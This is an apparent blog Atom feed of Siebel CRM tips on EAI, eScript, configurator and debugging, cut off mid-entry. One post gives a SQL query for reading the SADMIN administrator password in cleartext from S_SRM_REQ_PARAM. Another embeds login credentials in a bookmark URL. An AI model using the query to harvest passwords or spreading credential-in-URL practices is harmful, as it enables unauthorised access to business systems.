<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8531650369937741306</id><updated>2011-10-28T02:12:38.413-07:00</updated><category term='Siebel Server Admin'/><category term='Where is IT going?'/><category term='Tom Siebel'/><category term='Siebel Tips'/><category term='Siebel Configuration'/><category term='Siebel eScript'/><category term='Siebel 8 Presentations'/><category term='Product Configurator'/><category term='Miscellaneous'/><category term='Basics'/><category term='Siebel Errors'/><category term='Siebel EAI'/><category term='Downloads'/><category term='Screencasts/Videos'/><category term='Siebel Presentations'/><category term='Best Practices'/><title type='text'>Exploring Siebel</title><subtitle type='html'>is rebooting...  mobile version http://exploringsiebel.blogspot.com/?m=1</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>38</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-221275584965637148</id><published>2010-11-19T21:52:00.000-08:00</published><updated>2010-11-20T11:36:30.820-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Fetching value of Oracle Sequence from External DB</title><content type='html'>Fetching value of external Oracle Sequence in Siebel is one of the typical business requirement in integration of Siebel applications. In case of windows environment solution is quite straight forward, we just need to create ADODB object in script and execute sql on external database. &lt;br /&gt;&lt;br /&gt;But in case of Unix environment this is not possible as ADODB is not supported in Unix.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;For this requirement we can use External Business Component or "EBC" to fetch the next value of an external sequence.&lt;br /&gt;&lt;br /&gt;Solution:&lt;br /&gt;1. Create external table in Siebel database using the External Table Schema Import Wizard.&lt;br /&gt;2. Create additional column in table and set Alias property of the column with concatenation of external column name and the external oracle sequence like:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TObW1JimP4I/AAAAAAAAAG4/p1opB65q0LM/s1600/EBC.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="86" ox="true" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TObW1JimP4I/AAAAAAAAAG4/p1opB65q0LM/s400/EBC.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Siebel will use this Alias property of the columns to build SQL for external tables. So when building SQL in this case it will concatenate the column value with the nextvalue of the specified sequence.&lt;br /&gt;&lt;br /&gt;After this, compile all the changes and query on BC based on this table and process the field value to fetch next value of the sequence of external database.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-221275584965637148?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/221275584965637148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=221275584965637148&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/221275584965637148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/221275584965637148'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/11/fetching-value-of-oracle-sequence-from.html' title='Fetching value of Oracle Sequence from External DB'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mJfGtfR_Zdc/TObW1JimP4I/AAAAAAAAAG4/p1opB65q0LM/s72-c/EBC.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4406171967241218038</id><published>2010-08-31T02:10:00.000-07:00</published><updated>2010-08-31T02:10:06.116-07:00</updated><title type='text'>Sending email from eScript</title><content type='html'>Sending email updates from Siebel is quite easy, we just have to call Outbound Communication Manager, an OOB Business Service to trigger emails. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We can call this service from any of the events available or just call this service from a Workflow.&lt;br /&gt;Found this simple code on IT-toolbox :&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;var mailBS = TheApplication().GetService("Outbound Communications Manager"); &lt;br /&gt;var psInput = TheApplication().NewPropertySet(); &lt;br /&gt;var psOutput = TheApplication().NewPropertySet(); &lt;br /&gt;&lt;br /&gt;psInput.SetProperty("CommProfile", "Communication profile name"); &lt;br /&gt;psInput.SetProperty("MsgToList", "email ids to whom you want to send email"); &lt;br /&gt;psInput.SetProperty("MsgBody", "email content"); &lt;br /&gt;psInput.SetProperty("MsgSubject", "subject"); &lt;br /&gt;mailBS.InvokeMethod("SendMessage", psInput, psOutput); &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Coming up Next: Steps to configure Communication Profile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4406171967241218038?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4406171967241218038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4406171967241218038&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4406171967241218038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4406171967241218038'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/08/sending-email-from-escript.html' title='Sending email from eScript'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4931636295334610352</id><published>2010-08-27T11:06:00.000-07:00</published><updated>2010-08-27T11:14:43.891-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Get Attribute Value - Product Configurator</title><content type='html'>There is no method out of the box available in Siebel Product Configurator that can be used to get attribute value. For this one of my team member have written this code which traverses the product structure and return the attribute value as string.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;I am sharing the code here, it helped us in solving lots of complex business requirements.&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;function GetAttr (AttribName)&lt;br /&gt;{&lt;br /&gt;  var ps = TheApplication().NewPropertySet();&lt;br /&gt;  var ps2 = TheApplication().NewPropertySet();&lt;br /&gt;&lt;br /&gt;  GetCPInstance(ps);&lt;br /&gt;  ps2 = ps.GetChild(0).GetChild(0).GetChild(0).GetChild(0).GetChild(0).GetChild(0);&lt;br /&gt;&lt;br /&gt;  var count = ps2.GetChildCount();&lt;br /&gt;  for(var i = 0; i&amp;lt; count; i++)&lt;br /&gt;  {&lt;br /&gt;             var curr_node = ps2.GetChild(i);&lt;br /&gt;             var name = curr_node.GetProperty("Name");&lt;br /&gt;             if (name == AttribName)&lt;br /&gt;             {     var value = curr_node.GetProperty("Value");&lt;br /&gt;                   ps=null;&lt;br /&gt;                   ps2=null;&lt;br /&gt;                   curr_node = null;&lt;br /&gt;                   return(value); &lt;br /&gt;             }&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note: This code will return the attribute value of root product only, for other child products code needs to be modified accordingly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4931636295334610352?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4931636295334610352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4931636295334610352&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4931636295334610352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4931636295334610352'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/08/get-attribute-value-product.html' title='Get Attribute Value - Product Configurator'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-7706473605353738423</id><published>2010-08-10T09:53:00.000-07:00</published><updated>2010-08-10T09:57:54.930-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><title type='text'>Automatic login to Siebel thin client</title><content type='html'>While in development, I used to get bugged up by entering credentials every time application needs to be accessed. Out of&amp;nbsp;frustration&amp;nbsp;I have found way to bookmark the credentials in IE favorites so that it directly takes the user to application home screen.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Step 1&lt;/b&gt;: Add application URL to IE favorites&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2&lt;/b&gt;:&amp;nbsp;Edit&amp;nbsp;the target URL&amp;nbsp;from :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/TGGELdnpvbI/AAAAAAAAAGo/WC3nRV-fkkg/s1600/favorites.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/TGGELdnpvbI/AAAAAAAAAGo/WC3nRV-fkkg/s200/favorites.bmp" width="145" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;http://&lt;b&gt;[host name]&lt;/b&gt;/fins_enu/start.swe?SWECmd=Start&amp;amp;SWEHo=&lt;b&gt;[hostname]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;to :&lt;br /&gt;&lt;br /&gt;http://&lt;b&gt;[host name]&lt;/b&gt;/fins_enu/start.swe?SWECmd=ExecuteLogin&amp;amp;SWEUserName=&lt;b&gt;[username]&lt;/b&gt;&lt;strong&gt;&lt;user name=""&gt;&lt;/user&gt;&lt;/strong&gt;&amp;amp;SWEPassword=&lt;b&gt;[password]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Step 3&lt;/b&gt;: Save URL.&lt;br /&gt;&lt;br /&gt;Now this bookmark will directly take you to the home screen of the application,without showing the login screen..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-7706473605353738423?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/7706473605353738423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=7706473605353738423&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7706473605353738423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7706473605353738423'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/08/automatic-login-to-siebel-thin-client.html' title='Automatic login to Siebel thin client'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_mJfGtfR_Zdc/TGGELdnpvbI/AAAAAAAAAGo/WC3nRV-fkkg/s72-c/favorites.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-3433552409876718170</id><published>2010-08-10T09:36:00.000-07:00</published><updated>2010-08-10T09:36:07.578-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Downloads'/><title type='text'>Excellent Siebel EAI / Web services training Material</title><content type='html'>&lt;div class="MsoNormal"&gt;Really Excellent Siebel EAI training material is available for download on &lt;a href="http://4shared.com/"&gt;4 shared &lt;/a&gt;and &lt;a href="http://esnips.com/"&gt;esnips&lt;/a&gt;.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;1. &lt;a href="http://www.4shared.com/file/dQL7Ak3K/Siebel_EAI_PPT.htm"&gt;http://www.4shared.com/file/dQL7Ak3K/Siebel_EAI_PPT.htm&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Contents: Oracle Siebel Trainging Material of may 2004 and Hands on Labs &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;2. &lt;a href="http://www.4shared.com/file/_vf9wkvH/web_service_ppt.html"&gt;http://www.4shared.com/file/_vf9wkvH/web_service_ppt.html&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="mso-layout-grid-align: none; text-autospace: none;"&gt;Content: Web services PPTs and Hands on Labs + SOAP fundamentals &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;2. &lt;a href="http://www.esnips.com/doc/a904d5b4-46db-4d95-b698-3d5c217085c2/Integrating_Siebel_Web_Services_Aug2006"&gt;http://www.esnips.com/doc/a904d5b4-46db-4d95-b698-3d5c217085c2/Integrating_Siebel_Web_Services_Aug2006&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Content: 146 Slides explaing Integrating Siebel 7.8 x CRM using Web Services&lt;/div&gt;&lt;div class="MsoNormal"&gt;with WAS 6 and RAD 6&amp;nbsp;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Source: IBM&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;3. &lt;a href="http://www.4shared.com/file/e11fSFF3/Siebel_EAI_on_1025122.htm"&gt;http://www.4shared.com/file/e11fSFF3/Siebel_EAI_on_1025122.htm&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Siebel EAI PPT and labs + Siebel EAI Web Services Lab Guide + &lt;span style="color: black; font-family: Verdana; font-size: 10.0pt;"&gt;Concepts of WSDL, UDDI and SOAP&lt;/span&gt;&lt;span style="color: black; display: none; font-family: Verdana; mso-hide: all;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Source Cognizant&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;Happy learning &lt;span style="font-family: Wingdings; mso-ascii-font-family: &amp;quot;Times New Roman&amp;quot;; mso-char-type: symbol; mso-hansi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-symbol-font-family: Wingdings;"&gt;&lt;span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;"&gt;J&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-3433552409876718170?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/3433552409876718170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=3433552409876718170&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3433552409876718170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3433552409876718170'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/08/excellent-siebel-eai-web-services.html' title='Excellent Siebel EAI / Web services training Material'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4243052517458105787</id><published>2010-08-10T03:40:00.000-07:00</published><updated>2010-08-10T03:40:36.040-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Generate Random Number (Cont..)</title><content type='html'>In continuation of my earlier &lt;a href="http://exploringsiebel.blogspot.com/2009/09/how-to-generate-random-number-in-siebel.html"&gt;post&lt;/a&gt; , I am sharing another way of generating random number in siebel using&amp;nbsp; vanilla SIS OM PC Service.&lt;br /&gt;&lt;br /&gt;SIS OM PC Service is a vanilla service which provides a method to get new system generated row id as output.&lt;br /&gt;The output can be utilised to generate random number by calling&amp;nbsp;RowIdToRowIdNum() in expression.&lt;br /&gt;&lt;br /&gt;Workflow:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TF2n3rE2NtI/AAAAAAAAAGg/7G84j6KC_YI/s1600/Random+Number.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/TF2n3rE2NtI/AAAAAAAAAGg/7G84j6KC_YI/s320/Random+Number.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Step 1 : Service :&lt;b&gt;SIS OM PC Service&lt;/b&gt; Method:&amp;nbsp;&lt;b&gt;Get Next RowId&lt;/b&gt;&lt;br /&gt;Output: &lt;strong&gt;Next Row Id&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Step 2: Service: &lt;strong&gt;Workflow Utilities&lt;/strong&gt;&lt;br /&gt;Output : Random Num [Type Expression] : &lt;b&gt;RowIdToRowIdNum&lt;/b&gt;([&amp;amp;Next Row Id])&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks to &lt;a href="http://exploringsiebel.blogspot.com/2009/09/how-to-generate-random-number-in-siebel.html"&gt;Sebestian&lt;/a&gt; for sharing this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4243052517458105787?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4243052517458105787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4243052517458105787&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4243052517458105787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4243052517458105787'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2010/08/generate-random-number-cont.html' title='Generate Random Number (Cont..)'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mJfGtfR_Zdc/TF2n3rE2NtI/AAAAAAAAAGg/7G84j6KC_YI/s72-c/Random+Number.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-7208461355925028038</id><published>2009-11-02T08:20:00.000-08:00</published><updated>2010-05-08T12:08:27.146-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Product Configurator'/><title type='text'>Debugging Siebel eScript - Write Property Set to file</title><content type='html'>This is one of the tricks that i use to debug Siebel scripts. It is really useful if you are working on the product configurator. As most of the events in configurator have property set as argument to it, and there is no debug window to see runtime property values for the events.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;For configurator i use&amp;nbsp;&lt;span style="font-weight: bold;"&gt;WritePropSet &lt;/span&gt;method of&amp;nbsp;&lt;span style="font-weight: bold;"&gt;EAI XML Write to File&lt;/span&gt; business service. This method prints out the property set to a file on the siebel server. here is the code for the configurator:&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;var ps = TheApplication().NewPropertySet();&lt;br /&gt;var ps1 = TheApplication().NewPropertySet();&lt;br /&gt;GetCPInstance(ps);&lt;br /&gt;var bs = TheApplication().GetService("EAI XML Write to File");&lt;br /&gt;var op = TheApplication().NewPropertySet();&lt;br /&gt;&lt;br /&gt;ps.SetProperty("FileName" , "C:\\temp.xml");&lt;br /&gt;bs.InvokeMethod("WritePropSet", ps, op);&lt;br /&gt;&lt;/pre&gt;similarly for business services and workflows we can have following snippet:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;function Service_PreInvokeMethod (MethodName, Inputs, Outputs)&lt;br /&gt;{&lt;br /&gt;var ps = Inputs.Copy();&lt;br /&gt;var bs = TheApplication().GetService("EAI XML Write to File");&lt;br /&gt;var op = TheApplication().NewPropertySet();&lt;br /&gt;ps.SetProperty("FileName" , "C:\\temp.xml");&lt;br /&gt;bs.InvokeMethod("WritePropSet", ps, op);&lt;br /&gt;return (ContinueOperation);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Above code can be use as code sniffer. Provided you use some naming sequence of the file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-7208461355925028038?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/7208461355925028038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=7208461355925028038&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7208461355925028038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7208461355925028038'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/11/debugging-siebel-escript-write-property.html' title='Debugging Siebel eScript - Write Property Set to file'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-5782871058625573970</id><published>2009-10-30T11:58:00.000-07:00</published><updated>2009-11-02T08:03:55.186-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Server Admin'/><title type='text'>How to see the SADMIN / SIEBEL password un-encrypted!</title><content type='html'>Today i have seen a very strange data in Siebel database that actually shouldn't be there just as a un-encrypted free text. I think people from Siebel Admin would know that which table i am talking about. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Usually all user details in Siebel database are kept in S_USER table and passwords are never stored in Siebel Database. Whenever there is a need to store the password either the value is masked or is stored in database after encryption. &lt;br /&gt;&lt;br /&gt;Even in siebns.dat file the password is not stored. All the name subsystems in server manager and on UI use masking to show password. But at one place, as I know the password is kept as clear string. This happens on the Server Manager Job Parameter table i.e. &lt;b&gt;S_SRM_REQ_PARAM&lt;/b&gt; table. &lt;br /&gt;&lt;br /&gt;I don’t know what was the reason the data on this table was kept unencrypted. If you want to get the password you just need to query the VALUE column of the parameter table and you will find the password in next row where SADMIN or SIEBEL user name is stored.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select VALUE from SIEBEL.S_SRM_REQ_PARAM&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This happens because to run certain jobs like Generate Triggers database user and password are required as arguments but due to some limitation of the jobs this data is not encrypted. So if your server administrator use SADMIN as the password for generate trigger command you can see the SADMIN password by querying the database.&lt;br /&gt;&lt;br /&gt;Gud luck :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-5782871058625573970?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/5782871058625573970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=5782871058625573970&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5782871058625573970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/5782871058625573970'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/how-to-see-sadmin-siebel-password-un.html' title='How to see the SADMIN / SIEBEL password un-encrypted!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-613344100643622445</id><published>2009-10-27T12:05:00.000-07:00</published><updated>2009-10-28T13:21:07.922-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>In-process reentrance is NOT supported for JMS, MSMQ and MQ Series transports</title><content type='html'>Process re-entrance refers to calling of same method of the business service again before the first call has not been completed.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some of the code in Siebel is written to work on shared pool of resources, thus if same code is called again the shared pool either release the lock that is made by the first call or the second call creates deadlock between them.&lt;br /&gt;&lt;br /&gt;This behavior is very much prominent when a receiver component executes workflow on receiving xml message from queue, and this workflow process again executes Receive method of the same business service. This doesn't halts the execution but it start listening to queue for which last Receive method was called. &lt;br /&gt;&lt;br /&gt;So if second call passes arguments to receive message from different queue then receiver component will also start listening to this new queue. I was completely unaware of this behavior until one of the JMS receiver component stopped listening to messages from one queue, but started listening on the other. It was also clearly visible in the log of the component.&lt;br /&gt;&lt;br /&gt;Oracle support web &lt;a href="https://support.oracle.com/CSP/main/article?cmd=show&amp;amp;type=NOT&amp;amp;id=845247.1"&gt;article &lt;/a&gt;confirms this behviour.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-613344100643622445?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 